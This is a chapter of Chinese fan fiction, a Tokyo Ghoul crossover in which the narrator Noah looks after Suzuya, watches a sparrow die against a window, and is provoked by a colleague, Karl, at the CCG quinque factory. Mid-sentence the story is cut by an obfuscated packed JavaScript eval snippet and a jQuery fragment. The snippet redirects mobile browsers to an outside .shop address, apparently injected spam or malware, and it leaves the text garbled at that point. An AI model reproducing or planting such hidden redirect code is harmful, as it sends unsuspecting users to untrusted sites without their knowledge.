我嘴上说着“放心吧”，但其实我忘了一件事——我没带过这样半大的孩子。
未来从小就乖，乖得让我误以为全天下的孩子都该是这样，不怎么哭，也很少闹，偶尔脾气上来了，噘着嘴能把自己气成一只河豚。她会抱着胳膊缩在沙发角落里，眼眶里蓄着水光却死活不让它落下来。我就算再忙也会挤出时间，带她去游乐园坐旋转木马。玩完了，我们就去冰淇淋店买一桶特大号的家庭装，香草巧克力双拼，回去跟她的朋友们一起分着吃。
未来抱着桶不撒手，塑料勺子握在拳头里，挖得比谁都大口，脸上糊得全是奶油。我就在旁边递纸巾，一边递一边嘟囔“吃太多冰的对胃不好”、“待会儿又要肚子疼”、“下次不能买这么大桶的了”。未来每次都说“下次不了”，每次都没做到。这个年纪的小孩好像都这样，给点甜的就满足了，好哄得很，比实验室里那些动不动就报错的仪器听话多了。
那时候我还觉得带孩子不是什么难事，甚至暗暗得意过觉得是自己教育有方，觉得被小孩折腾得焦头烂额的父母只是不够有耐心。后来研究所的同事生了宝宝，我提着一箱尿不湿去道贺，推开她家门的那一刻，我看见像被推土机碾过一样的客厅——沙发上堆着没叠的衣服，茶几上粘着不知名的果酱印子，地上横七竖八躺着各种颜色的塑料玩具。她的头发胡乱扎成一个髻，碎发从发圈里逃出来，翘得满脑袋都是，冲我笑的时候嘴角都在发抖。
我站在那片狼藉里，低头看了看自己手里的礼物，忽然觉得过去的自己像个傻子。不是带孩子不难，是未来太好带了。她像一面镜子，谁对她笑她就对谁笑，给她什么她就接住什么。她需要的只是我在她身边，仅此而已。
但铃屋什造不是未来。
他十九岁，在法律上早已经算是成年人了，可他的眼神、他说话的方式、他偶尔歪头看我的神情，都让我觉得站在面前的这个人，体内住着一个被剪断了线的木偶。他身上没有任何这个年纪该有的东西——没有张扬、没有热血，更没有急于证明自己的焦躁。他像一杯被倒空了的水，杯壁上还挂着几滴水珠，但杯底已经干了。
我看不出他在想什么，他脸上什么都没有，眼睛里也是空的。有时候我甚至不确定他是否真的在看我，还是只是把视线放在我这个方向上，心思早就不知道飘到哪里去了。
所以我一拍脑袋想了个馊主意——带他去吃汉堡。
这是我能想到的最简单拉近距离的方法。“去吃好吃的”这句话在未来身上百试百灵，在她难缠的小伙伴身上也屡试不爽。我始终认为这是一个放之四海而皆准的万能法则，适用于所有年龄段、所有性格、所有背景的独立个体。一个吃饱了的人不一定开心，但一个正在吃好吃的东西的人，至少不会在那一秒钟感到难过。
我选的汉堡店在银座附近，很火爆，网上的评价说“排队排到怀疑人生但吃到的那一刻觉得人间值得”。推开门的一瞬间，铁板上油脂的香气迎面扑过来，排队的人群从收银台蜿蜒到门口，每个人都在仰头看头顶的菜单灯箱。
铃屋什造跟在我轮椅后面，他的脚步很轻，银白色的脑袋在人群里轻轻晃了一下，然后就不动了。我以为他在看菜单，回头一看，他正盯着门口一个小孩手里的气球出神。
“铃屋君，你想吃什么？”我问他。
他的目光从气球上收回来，伸出食指，隔空点了一下。
“那个。”
我看了一眼——芝士汉堡套餐，附赠一个小玩具。
“只要这个？”
铃屋什造把手缩进袖子里开始咬手指。他的指甲短到几乎嵌进了甲床边缘的皮肤里，指缘有一些细小的倒刺，他咬着咬着，视线慢悠悠地从芝士汉堡套餐上移开，飘到隔壁男人桌上还没来得及被消灭的巨无霸上。
“那个也想吃。”他的手指从嘴里抽出来，直直指向桌上的汉堡。那位男士显然听到了，咀嚼的动作停了一下，嘴巴还张着，疑惑地转过头来看我们。我赶紧冲他笑了笑，推着轮椅往前挪了半米，试图用身体挡住铃屋的视线。但他丝毫不觉得有什么问题，脑袋从我肩膀旁边探出去，继续往四周扫了一圈。
“这个，好像也不错……”
他喃喃自语，脑子里所有想吃的信号同时涌了出来，原封不动地摊开在脸上。
“那就全要了。”我大手一挥。用钱解决问题是我最擅长的事，也是我最不心疼的事。
等餐的时候铃屋倒是很安静。他坐在我对面，双手规规矩矩地放在膝盖上，像一尊被端端正正摆在神龛里的小佛像。眼睛却像一只没有拴绳的狗，到处乱跑，拉都拉不住。
汉堡端上来的时候，托盘几乎占据了整张桌子。十几个汉堡码得整整齐齐，薯条堆成了一座小山。铃屋的目光终于被拽了回来，他张大嘴巴发出一声“哇，好多”的感叹，赶忙伸出手，拿起最靠近他的芝士汉堡。
我托着下巴看他。他吃得很快，三两口就解决掉一整个，嘴里的还没咽下就伸手去拿第二个，腮帮子塞得鼓鼓囊囊的，芝士从汉堡边缘挤出来，拉出一条长长的丝。他低头去咬，芝士丝断了，弹在他下巴上，他也不擦，继续吃。
“铃屋君，你平常都喜欢吃些什么？”我饶有兴致地开口，想趁着他专注于食物的时候撬开一点缝隙。
他停了一下，嘴角还挂着一小片生菜叶，绿油油地贴在嘴角。
“篠原先生给我买什么，我就吃什么。”
“你自己不去买吗？”
“会，但是不知道要怎么选。”他把生菜叶吸进嘴里，含含糊糊地嚼着，眼睛又开始往别处飘，“诺亚小姐你知道吗？我想吃的东西实在太多了，站在货架前面看来看去，每一样都想拿。买回来吃不了总会坏掉，上次买的布丁忘了吃，后来长了一层绿色的毛，篠原先生就不让我吃了。”他把视线收回来，落在手里剩下的半个汉堡上，像是忽然意识到这个也在“会坏掉”的范畴之内，赶紧又咬了一大口，“啊啊，还是拜托篠原先生简单一点。筱原先生每次只买两样，我就吃两样。”
我靠在轮椅背上，看着他将一个又一个汉堡吞进肚里。
哥汗纳教过我很多东西，其中有一句话我一直记得很清楚——有所图谋的人比无欲无求的圣人要好管控太多。
欲望是一根绳子，只需要找到绳子的另一端，轻轻一拽，人就会跟着你走。想要钱的人用钱拽，想要权力的人用权力拽，想要认可的人用一句夸奖就能拽得他满世界跑。欲望越具体，绳子越结实。
可是铃屋什造不一样。他有无数的欲望，想吃这个，想吃那个，想追一只鸟，想看一只气球。这些欲望全都是碎片化的，没有一样能被拼成可以被称之为“诉求”的东西。
“那接下来几天，我带你吃遍东京吧。”我亲切地笑了笑。
铃屋睁着闪亮的大眼睛看着我，用手背抹了一把嘴边的酱汁，表情也一同变得生动起来。
“诺亚小姐，你真是个好人啊～”
我们起初相处得真的都很融洽。
这种融洽让我产生了一种错觉，也许铃屋什造的本质上还是一个听话的小孩。篠原幸纪之所以唠唠叨叨说了那么多，只是因为他太爱操心了。每个大人都会夸大孩子的特殊，这是家长的天性。
回程的路上天气依然很好，阳光是金黄色的，落在地上像一层薄薄的蜜糖，踩上去似乎都能感觉到微微发黏的甜意。我坐在轮椅上，铃屋在后面推。他推得并不平稳，有时候太快，脚步带着轮椅往前冲，轮子在人行道上发出急促的呼呼声；有时候又太慢，速度比一个拄着拐杖的老太太还慢。遇到路面的裂缝他也不会提前绕开，轮子直直地硌上去，裹在腿上的石膏就跟着震一下。
第三次硌到裂缝的时候，我倒吸了一口凉气，没忍住。
“铃屋君，稍微慢一点。”
轮椅立刻慢了下来，速度从快走变成了爬行。我叹了口气，刚想说“再快一点点”，轮椅突然猛地刹住了，我的身体往前一倾，整个人差点从坐垫上滑下去。
背后的推力消失了，铃屋松开了轮椅的把手。他站在人行道上，离我的轮椅已经隔了大约三米远。他仰着头看着天空，银白色的头发被风吹起来了几缕，露出被刘海遮住的额头。
我顺着他的视线看过去，一只灰褐色的小鸟从路边的电线杆上飞起来，在电线上弹了一下，贴着我们的头顶低低地掠过去。
他的视线追着那只麻雀，从左边移到右边，头也跟着转过去。嘴唇微微张开，注意力完全被吸了进去。他没有说“等我”，没有说“我马上回来”，他把我一个人晾在人行道上，倏地冲进了车流里。
轮椅停在人行道中间，身后是来来往往的人群。我的注意力全在那个越跑越远的白色背影上。他的卫衣被风吹得鼓起来，像一面小小的帆。那面帆在人流里左闪右闪，越来越远，越来越小，最后变成一个小小的白点。
“铃屋！”我喊了一声。
他没有回头。为了追一只鸟，连我这个半身不遂的人都不管了。
我深吸了一口气，双手抓住轮椅的轮圈，用力往前推。
这架破轮椅显然没有上过润滑油，轮轴发出吱呀的抗议声，路面上的石子硌在橡胶轮胎底下，轮椅颠簸着往前滚。我的右腿打着石膏，僵硬得像一根被浇筑在水泥里的柱子，动弹不了分毫，只能用左腿一下一下地点着地面，给轮椅增加一点可怜的动力。
人行灯开始闪烁，绿色的小人变成了红色的手掌，旁边的倒计时数字从十开始往下跳，可我还在马路中间蠕动。汗珠从额头上滑下来，沿着眉毛流进眼睛里，咸涩的刺痛让视线变得模糊。我顾不上擦，左腿继续点着地面，双手攥着轮圈，手心的汗把橡胶圈弄得又湿又滑。
几辆等红灯的车不耐烦地按了喇叭。我把头埋低，硬是用一只脚和两只手把自己从马路这头推到了那头。轮椅的前轮撞到对面人行道的路沿，我整个人差点往后翻过去，赶紧抓住旁边的电线杆才稳住。
造的什么孽啊。
我不知道铃屋去了哪里，在体力耗尽之前，我终于在一个街边公园里找到了他。
铃屋什造背对着我，低着头站在花坛边上。他的卫衣不再鼓风了，软塌塌地垂着，帽子翻在外面，帽绳一长一短地挂在胸前。他一动不动，刚才追鸟时那股疯了一样的冲劲已经从他身上完全消失，取而代之的是一种诡异的安静。
轮椅在他身后停下来，我甩了甩磨得发痒的掌心，正想揪住他的耳朵问问他跑什么时，铃屋忽地伸出双手，向我捧出了什么东西。
“怎么了？”我下意识靠近了一点。
他掌心里托着的是一只麻雀。
灰褐色的，头歪向一边，翅膀散乱地耷拉着，细小的腿蜷缩在肚子下面，一只眼睛半睁着，眼球表面蒙着一层灰白色的膜。
“啊，诺亚小姐。”铃屋什造低头看着手里的麻雀，满脸无辜地说，“它死了。”
“……哈？”
那些准备好的、即将倾泻而出的斥责忽然全部卡在了嗓子眼。我抬头看了看四周。
花坛后面是一栋很高的大楼，大面积的浅蓝色玻璃擦得很干净，映着对面街道的倒影和天空中缓慢移动的云朵。玻璃上有一个不易察觉的白印子，翅膀展开的轮廓印在玻璃表面。
“它撞到玻璃了。”我说。
铃屋抬起头看了我一眼，他的眼睛又回到了空旷的状态。
“哦，那它好笨。”
“它不是笨。麻雀只是不知道那里有玻璃。玻璃是透明的，它看不到。在它的眼睛里那里只有天空和云朵的倒影，它以为自己可以飞过去。”
“但是它没有飞过去。”
“所以它死了。”
“不知道就会死吗？”
他问得很认真，手指的弧度没有任何变化，依然稳稳地保持着碗的形状。铃屋的声音飘在温热的空气里，像一根轻飘飘的羽毛，落下来的时候却让人有些喘不过气。
我张了张嘴，真的不知道该怎么回答了。因为答案显而易见——是的，不知道就会死。看不到玻璃就会撞断脖子，不知道火是热的就会烧焦手指，不知道从高处跳下去会摔成一摊烂泥，不知道喰种会吃人就会丢掉性命，就像这只一头撞上玻璃的麻雀。
这个世界上有太多东西是“不知道就会死”的，可有些东西就算知道了也没用。你明明知道玻璃就在那里，但你飞得太快了，停不下来。你知道前面是陷阱，但后面的追兵更让你恐惧。
但这些话我说不出口，我不能对一个什么都不懂的孩子说这些。他也只是在找自己的答案，我不确定自己的回答会不会把他撞死在另一块玻璃上。
我深吸了一口气，把翻涌上来的东西重新压回胃底。
“把它放下吧。”
铃屋没有动。他低着头，刘海垂下来遮住了眼睛，只露出一小截鼻尖和抿着的嘴唇。
“你想把它带回去？”我问。
他当真认真想了想，然后抬起头看我，眼睛里亮晶晶的。
“可以吗？”
我忍不住长长叹了口气。
“你要一只死鸟做什么？它已经死了，死掉的东西你带回去也没用。它不会飞了，不会叫了，很快就会开始发臭。你把它放在房间里，明天早上起来它身上就会爬满虫子。”我把话说得很直白，以为这样就能让他明白“死掉的东西没有价值”这个道理。
他把目光从麻雀身上移开，歪了歪头，眼巴巴地看向我。
“诺亚小姐，你以前养过鸟吗？”
鸟？
我的眉头拧了起来，思绪下意识地飘回了柏林的公寓。
我在柏林住的公寓很大，采光也很好。客厅有一整面墙的落地窗，从窗户看出去能看到对面公园的树梢和更远处电视塔的尖顶。可惜我这个人不着家，房子对我来说只是一个歇脚的地方。为了方便快速入眠，不管白天还是黑夜，不管外面是阳光灿烂还是暴雨倾盆，我都习惯于把所有的窗帘都拉上。客厅的窗帘是又厚又重的黑色遮光布，拉上之后整个房间像泡在一缸显影液里，暗得不知今夕何夕。有不少来我家做过客的人都吐槽说我住的地方像一座坟墓，阴暗得连盆花都养不活，更别说养鸟了。
“没有。”我回答，“我不喜欢脆弱的东西，它太容易死掉了。你今天喂它，明天陪它，后天它还是会死。”
“那你养过什么？”
“什么都没养过。”
“那你想养吗？”
“不想。”
“为什么？”
“因为死掉之后收拾起来会很麻烦。”我已经收拾过太多死掉的东西了，不想再多此一举。
铃屋终于安静了一会儿。他没有立刻提出下一个问题，也没有把手里的麻雀放下。他低着头，指腹轻轻碰了碰麻雀的翅膀。
“可是死掉，也没什么不好的啊。”
他说这句话的语气和说“那它好笨”时一模一样。一样的轻快，一样的天真，一样的理所当然。就好像死这件事和“笨”、“好吃”、“会飞”这些概念放在同一个框架里，没有任何需要特别对待的理由。
我忽然一僵，汗毛噼里啪啦全炸了起来。
铃屋什造的脸慢慢变形，他的表情、他歪着头的样子、他眼睛里空旷的、没有任何恐惧的平静……和记忆里的另一张脸一点一点地叠在了一起。
有马贵将的眼睛也是那样干净透明，空无一物。没有喜怒哀乐，没有是非对错，没有对死亡的恐惧，也没有对生存的执着。
那时我以为我可以改变他，我以为他只是缺少一些人生的经历，缺少一些亲身的感受，缺少一些真正意义上“活着的体验”。我以为我可以一点一点地教会他什么是活着，什么是死去，什么是痛苦，什么是失去。我以为爱是一种可以传递的东西，像把一杯水倒入另一个杯子那样简单。只要两个人靠得够近，杯子挨着杯子，水就会自己流过去。
我一厢情愿地怜悯他，认为不理解不是他的错。这些东西需要经历，需要亲身去感受。他只是需要一些时间，需要有一个人愿意蹲下来，用他能听懂的话把这个世界掰开揉碎了讲给他听。那时候我甚至觉得自己可以成为那个人，可以把他从没有温度的世界里拉出来。
现在想想，认为自己是唯一能拯救他的人的我，是多么狂妄，多么自以为是啊。
而现在，一个同样年纪的少年站在我面前，用同样平静的语气，问出让我浑身汗毛倒竖的问题。
这不是一个需要解答的问题，而是一面镜子。镜子里面映出来的也不是铃屋什造，是我自己——是那个站在冰天雪地里，对着一个不会融化的冰块徒劳地哈着热气，一遍一遍地喊“你快融化啊”的傻瓜。
又苦又涩的东西从胃里翻涌上来，顶在喉咙口，咽不下去也吐不出来。
这一切都让我无比恶心。
铃屋什造的确不应该在我这里，他应该在篠原幸纪身边，只有篠原有无尽的耐心和真正的温柔，能一点一点地教会铃屋什造那些最基础的东西。篠原是完整的，是健全的，是一棵深深扎根在土里的大树，他的枝叶可以为别人遮风挡雨，他的根不会因为一阵风就松动。而我——
而我不是篠原，我甚至不是过去的自己了。
我连自己都还没有修好，还拿什么去修别人？我不想再开导任何人，不想再做站在冰块面前哈气的傻瓜了。
一切都是徒劳。
那天晚上回到酒店，我没跟铃屋说一句话。
他大概也不觉得有什么，在我沉着脸从他身边经过的时候，他歪了歪头，目送我一瘸一拐地走进房间。
窗外是东京的夜景，灯火通明，密密麻麻，红色的尾灯在街道上排成一条蜿蜒的光河。我看着那些灯光，脑子里逐渐响起了一片嗡嗡的白噪音。
第二天我睁开眼睛的时候，铃屋什造又准时出现在我门口。他的手里拎着一个便利店的塑料袋，袋子鼓鼓囊囊的，里面装着两个饭团和一根苹果味的棒棒糖。
他一屁股坐到了沙发上，两条腿晃了两下，眼睛直勾勾地看着我。
“诺亚小姐，我们今天要去哪里玩？”他兴高采烈地问。
我深吸了一口气，把苦涩的东西往下压了压。
“去库因克工厂。”我说。
CCG的库因克工厂位于东京郊区，从总局出发开车要二十分钟。我和铃屋坐在后排，中间隔着折叠轮椅，他自从知道目的地之后就变得特别聒噪，整个人的状态和昨天判若两人，像一个被摇过的汽水瓶，拧开盖子就往四面八方喷射。
他一路上叽叽喳喳说个没完，身体在座椅上扭来扭去，一会儿趴到车窗上看外面的卡车，一会儿指着窗外飞过的鸟群让我看，一会儿又把手伸进自己的口袋里掏出一把奇形怪状的小刀，非要给我介绍他的收藏。安全带在他身上形同虚设，他在座椅上转来转去，膝盖顶到车窗，手肘撞到车门，整个后排的空间对他来说完全不够用。
“这是最开始的时候篠原先生给我的库因克哦。”他把小刀举到我面前，刀尖离我的鼻子只有不到十厘米的距离。我往后仰了仰头，后脑勺几乎贴到了座椅靠背。他毫无察觉，继续兴致勃勃地说，“篠原先生说它很小，杀伤力也不强，但我觉得它已经很厉害了。它很锋利的——摸一下？你摸一下嘛。”
我用食指轻轻推开了刀尖，把它从我的鼻子前面推到安全距离之外。
“嗯，是很厉害。”我说。
他没有听出这句话里的敷衍，把刀收回去继续翻他的口袋。翻出一枚不知道什么时候藏起来的游戏币，一个从自动贩卖机下面捡的瓶盖，一根红色的橡皮筋。他把这些东西一样一样摆在座椅上，又一样一样收回去。
“诺亚小姐，”他把最后一颗玻璃弹珠塞回口袋，转过头看着我，眼睛闪闪发光，“我也想要一个新的库因克。你带我去驱逐喰种吧！我们一起去！”
他完全就是一个在求大人带他去游乐园的小孩。
“你的腿什么时候好？好了就可以去了吧？我之前跟篠原先生去过很多次了，有一次是在旧工厂里，那个喰种躲在二楼，我爬上去找到它的。还有一次是在桥下面，下雨了，我的衣服全湿了，但是喰种也被我们找到了。”他的语速越来越快，句子和句子之间的停顿越来越短，“有一只喰种的赫子好大，像一把伞——”他用手比划着，手臂张得很开，左手差点打到司机的后脑勺。司机从后视镜里瞪了他一眼，他完全没有看到，继续兴致勃勃地挥舞着手臂，“然后篠原先生说‘什造，后退’，我就站到后边去了。他就咻地一下把它杀掉了——咻！像这样，超级快的，我都没看清。超帅的。”
他在空中做了一个劈砍的动作，手臂停在半空中，等我的反应。
我听他叽叽喳喳地说着，偶尔点头，偶尔“嗯”一声。我的目光落在车窗外飞速后退的电线杆上，一根一根地数过去。数到第十七根的时候，汽车终于在灰色的铁门前停下来了。
库因克工厂从外面看不像是一座工厂，更像是一座军事设施。
地行博士站在工厂主楼门口等我们，白大褂被风吹得贴在身上，露出下面一条格格不入的条纹西裤。他招呼着车停好，又看着司机和铃屋合力把我从车里搬出来。石膏在转移过程中磕了一下车门框，地行博士在旁边立刻“哎呀”了一声，比我本人还紧张。
他脸上的笑容一点都没有减少，还变本加厉地在我坐稳之后抬起手鼓了两下掌。
“诺亚博士！”他用德语喊了一声，声音里带着毫不掩饰的兴奋。张开双臂大步走过来，弯下腰给了我一个结结实实的拥抱。
“那天的事我听说了，你怎么会被喰种袭击呢？”他松开我，手还搭在我肩膀上，“你不是来出差的吗？我以为你只是来开开会、看看库因克，结果你倒好，直接跟喰种干上了。丸手跟我说的时候我还不信。”
“运气不好。”我笑笑。
“运气不好还能把喰种吓跑？真不愧是诺亚博士啊。”地行甲乙哈哈大笑起来，他拍了拍轮椅的把手，绕到我身后，推着我往主楼的方向走。“来吧，我给你准备了整个上午的行程。你难得来一趟，我把最近几个新项目的样品都调过来了，有几个我保证你绝对没见过。有一个是用双类型赫子混编的，设计理念是从你前年那篇关于赫子纤维交叉编织的论文里来的——你还记得那篇吧？”
后面又陆陆续续下来几辆车，德国研究团的其他成员从车里钻出来，像一群不情不愿来参加春游的高中生。卡尔和汉斯，还有几个我不太叫得出名字的随行搜查官站在一起，距离我和地行博士大约有十米远。他们聚成一团，衣领被风吹得翻起来，用一种说不清道不明的表情看着这边。
以前艾文在的时候他们还收敛一些。艾文看上去非常不近人情，肩章上的星星比他们所有人的头衔加起来都沉。他们不敢在他面前造次，就算心里再怎么不以为然，脸上也要堆起敬畏的笑容，嘴上说着“艾文特等”长“艾文特等”短的话。
可惜今天挡箭牌不在。
我前些天杀掉喰种的事迹，大概早就已经传遍了整个研究团。这件事在他们眼里不是勇敢，是出风头。是又一次趁所有人都不在场的时候，一个人把聚光灯全部吃干抹净。他们不会说“她运气不好”，更不会说“那种情况下能活下来已经是奇迹了”。他们说的只会是——“你听说了吗？诺亚居然拿这个当履历，连被喰种袭击都能被她写成个人英雄主义。”
我没有看他们，把头转回去，对铃屋说了一句“我们进去吧”。
主楼内部和我想象的不太一样，我原本以为会看到典型的工业厂房，但这里更像是一座博物馆。
地行博士在前面带路，一边走一边回头确认我跟上了没有。组件区在一楼，是一个很大的开放式空间。几十个玻璃展柜排成两列，从房间的这一头延伸到那一头，每一个展柜里都放着一个库因克的半成品。射灯从正上方打下来，光线把赫子的纹理照得一清二楚。
“从第一个开始看吧。”地行博士接过轮椅，把我带到最近的一个展柜前。铃屋什造跟在后面，双手插在口袋里，脑袋左转一圈右转一圈，我听到他轻轻“哇”了一声，整个人都凑到了展柜的玻璃前。
“这个是用甲赫做的，原材料的喰种是B级。”地行博士站在我旁边，一只手撑着展柜的边缘，食指在玻璃上轻轻点了一下，“按理说B级的赫包做不出太好的武器，但这只喰种的赫包密度很高，数值比同级别的平均值高了将近百分之四十。我们一开始想把它做成刀型，长度大概是现在的一点五倍，但测试的时候断了三次。后来改成了短刃，把弧度改小了，效果还算不错，至少稳定性和耐久度都提上来了。”
我透过玻璃看着那把暗红色的短刃。刀身的弧度很流畅，射灯的光线沿着刀刃的弧度缓缓滑过，在末端聚成一个小小的光点。
“赫包的韧度不够。”我说。
“对，是这样没错。所以我们加了百分之三的库因克钢做骨架，嵌在赫子层之间。从外面看不出来，但X光扫描的时候可以很清楚地看到骨架的结构——你看这里，这些浅色的网格就是。”
铃屋什造在我身后。他不知道我们在说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619740|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么，但这并不妨碍他参与的热情。他会时不时地插一句嘴，完全不管自己说的话和话题有没有关系。
我们走到了第二个展柜前。地行博士跟我讲解一把库因克的特殊涂层工艺，他正在兴头上，手指在空气中画着刀刃的截面图。我把轮椅往前挪了挪，想从另一个角度仔细看，就在这时一个声音从我斜后方飘了过来。
“诺亚。”
是卡尔的声音。我没有搭理，继续看着展柜里的库因克。
“地行博士。”见我不回答，卡尔的声音往旁边偏了一下，转向了地行博士，“这个库因克设计很有意思，尤其是刀柄和刀身的衔接部分，我记得曾经在诺亚博士的研究室里也见过一柄设计理念相近的武器。当时刀柄用的是库因克钢和碳纤维的复合材料，握感非常好，重量分布也处理得恰到好处。不知道这一柄用的是不是类似的材料？还是说在诺亚博士的设计基础上做了改进？”
他说得有板有眼，听起来像是一个真诚的、对武器设计充满热情的研究者。
地行博士完全没有察觉到任何异常。他听到有人对他的作品感兴趣，脸上的笑意又加深了一层，兴致勃勃地回答道：“对，灵感来源确实是诺亚博士早期的一篇论文，刀柄的复合结构参照了分层叠加理论，不过我们把库因克钢的比例提高了一些。”
“是啊，我们诺亚博士确实很厉害呢。”
卡尔突然的敬语听起来比任何脏话都刺耳，惹得汉斯在他身后幸灾乐祸地笑了一下。
“之前在柏林的时候，我记得诺亚博士说过一句很精彩的话。”卡尔继续说，声音带着一种刻意的怀旧感，像是在回忆一段美好的旧时光，“‘我不需要等别人把路走通了再走，我自己就是路。’——大概就是这个意思吧。你估计不记得了，那是五年前的圣诞晚宴，你喝了不少酒，说了不少有意思的话。很多人都在场，我记得连后勤部门的几个小伙子都在。”
他停顿了一下，刚好够在场所有人脑补出那场圣诞晚宴的画面：酒精，人群，火光，一个年轻到不知好歹的研究员站在台阶上大声宣言。画面感越强，羞辱的意味就越浓。
“我当时还在想，能说出这种话的人一定是非常非常厉害的角色。现在看来，你确实厉害。”他又往前走了一步，影子从轮椅左侧移到了前面，和地行博士的影子叠在一起，“一个天天坐在研究室里肌肉都快萎缩的人，竟能单枪匹马杀了喰种？这件事换了我，我的确做不到。我没那个运气，也没那个能力。”
卡尔又往前走了一步。他的影子落在了我的脚尖前，遮住了射灯投在地面上的一小片光斑。
“诺亚博士对科研的敏感度我们一直很佩服。不过我一直很好奇，您是怎么做到对任何事情都有答案的？”他微微俯下身子，缩短了与我之间的距离。他的眼睛在阴影下呈现出浑浊的深棕色，瞳孔里映着我的脸——一张过于平静、甚至显得冷淡的脸。这种冷淡似乎反倒让他更加确信了什么，嘴角又往上弯了一点点。
“你从来没有犹豫过，从来没有不确定过，从来没有‘我不知道’的时候。”他把每个从来没有都咬得很重，像是在列举罪状。“每一次开会、每一次讨论、每一次出外勤，你永远都有现成的答案。喰种的赫子类型、RC值的波动规律、库因克的材料配比，你永远能在别人提问之前就准备好回答。我一直很想知道你到底有没有过迷茫的时候？还是说——”
他歪了歪头，声音压得更低了。
“就好像你不是人类似的。”
空气安静了一瞬间。
地行博士的笑容僵在脸上，嘴唇动了一下，像是想说点什么打圆场。他的手从展柜边缘收回来，在半空中悬了两秒，又不知道该放哪里，只好插回白大褂的口袋里。
我非常确定，卡尔从今天见面开始就一直在挑衅我。
他不是临时起意，更不是一时冲动，在飞机上、在大巴上、在昨天听说我被喰种袭击之后，他就在准备这段话。他在试探我的边界，他想看到我的反应，我的裂缝，我的破绽，我的失控。
为什么呢？
我没有抬头，继续看着展柜里的那把库因克。
“卡尔，你现在说的话已经超出了工作讨论的范畴。”
“哦？”他嗤笑一声，把尾音拖得长长的。“我只是在表达对首席的敬仰而已。对长官表达一下仰慕之情，应该不违反工作讨论的范畴吧？”
他又往前走了半步，俯下身子，双手撑在轮椅的扶手上。脸凑近了我的脸，近到我可以看到他瞳孔里那个小小的、扭曲的、倒映着我的脸的镜像。
“你不会真的紧张了吧，诺亚？”
他的眼睛在笑。浑浊的棕色眼睛变成了两个深不见底的洞，里面藏着某种我已经很多年没见过的、来自人类的恶意。
他以为他会看到什么？一个慌张否认的诺亚？一个恼羞成怒的诺亚？还是终于被他揭开面具、暴露出底下那张惊慌失措的脸的诺亚？
我看着他的眼睛，平静地反问。
“你是铁了心想惹毛我吗。”
卡尔的眼珠左右动了一下，判断着我是虚张声势还是真的毫无波澜。他非但没有后退，嘴角的弧度反而弯得更大了。他觉得自己已经挖到了什么，觉得自己离那块不存在的软肋越来越近。
“诺亚，你一定在筹备什么很坏的东西。”他压低声音，语速慢了下来。他的眼睛不再左右移动了，定在我的眼睛上。“我太了解你了，你从来不是喜欢引人注目的人。你躲在实验室里，从来不会主动走到聚光灯下。一个不想引人注目的人忽然单枪匹马杀掉了一个异国的喰种——”
他停顿了一下，压下了所有他没说出口的指控。
“我会盯着你的。”
说完，他直起身子，退后两步，回到原本站着的位置，和汉斯肩并肩站在一起，重新变成了随行人员中不起眼的一员。
地行博士尴尬地站在原地，左右看了看。他知道有些话不该在这种场合说，有些架更不该替别人吵。
“诺亚博士，”他重新站到我轮椅旁边，手指在握把上轻轻拍了拍，“我们去陈列室吧，那边有几个已经完成的样品，有一些是今年刚入库的新型号，你肯定会感兴趣。”
“好。”我说。
陈列室在地下一层。地行博士带我们乘坐一部巨大的货梯往下走。货梯的墙壁是裸露的钢板，上面有各种搬运设备留下的刮痕。电梯下降的时候发出低沉的轰鸣声，灯光在头顶的金属网罩里微微晃动。铃屋在电梯里一直仰着头看天花板上的灯管，卡尔和汉斯站在电梯的另一侧，没有再说话，但我能感觉到他们的目光偶尔落在我的后脑勺上，停留几秒又移开，像两只在闷热的午后飞来飞去的苍蝇。
陈列室比一楼的组件区还要大，各种管道和电缆桥架纵横交错。房间里立着一排又一排的金属支架，每一个支架上都陈列着一个完整的库因克。
地行博士走在最前面，一边走一边介绍。每走过一个支架，他就会用手指一下，快速地报出型号和参数。
“这一代是十五年前的，我们已经不再生产了。因为当时的工艺限制，赫子的排列方向太单一，导致武器在承受横向冲击力的时候非常脆弱。后来我们改进了编织工艺，把纤维做成十字交叉的结构——”
“地行博士。”卡尔的声音再次从后面传来。他的语调变了，不再是阴阳怪气的敬仰，而是更直接的、更急切的兴奋，“我记得上次来的时候，你说那个就是你们最新研发的库因克吧？”
他指向陈列室尽头的金属支架。顶端的库因克一圈一圈地缠绕在金属臂上，像一条盘踞在高处的蛇。
地行博士顺着卡尔的手指看过去，脸上掠过了一丝极快的犹豫。
“那是我们最新研发的样品。”他的语气变得谨慎了一些，“是用两种不同类型的赫子制成的库因克，理论上兼具了打击力度和柔韧性。但还没有经过完整的稳定性测试，目前这个版本只在实验室里挥过几次，数据样本远远不够。它的运动轨迹控制算法还没有写完，操作手册也还在起草阶段。说实话，现在把它拿出来展示都有点早了。”
“让我试用一下。”卡尔已经朝那个方向走过去了，“我不会碰到任何东西的，就试一下手感。我之前在资料上看到过这款武器的设计参数，据说全力甩出去的时候鞭尖的速度能超过音速，光是这个描述就让人很期待了。”
“卡尔研究员。”地行博士的声音带上了一层薄薄的不安，他往前追了两步，白大褂的下摆在空中甩了一下。他的手伸出来，最终还是没能抓住卡尔的手臂，“这个真的还没通过安全测试，它的运动轨迹的计算模型还没有验证过。在第四次测试的时候鞭尖完全偏离了预定轨迹，差点打中一个假人的头部。运动轨迹是不可控——”
话音未落，卡尔已经取下了那条库因克。
他握住握柄的瞬间，黑红色的长鞭从支架上滑落下来，发出细密的、像无数片金属摩擦的沙沙声。它在空中缓缓舒展开，从缠绕的状态变成了一条流畅的长弧，在离地面几厘米的位置轻轻摆动。
卡尔退后两步，拉开了与周围陈列架之间的距离。他的表情变得专注起来——那是一个痴迷于武器的研究员应该有的表情。但是我在那张毫无破绽的脸上看到了另一样东西：他嘴角残余的、没有来得及完全收干净的恶意。
“你们看好了。”
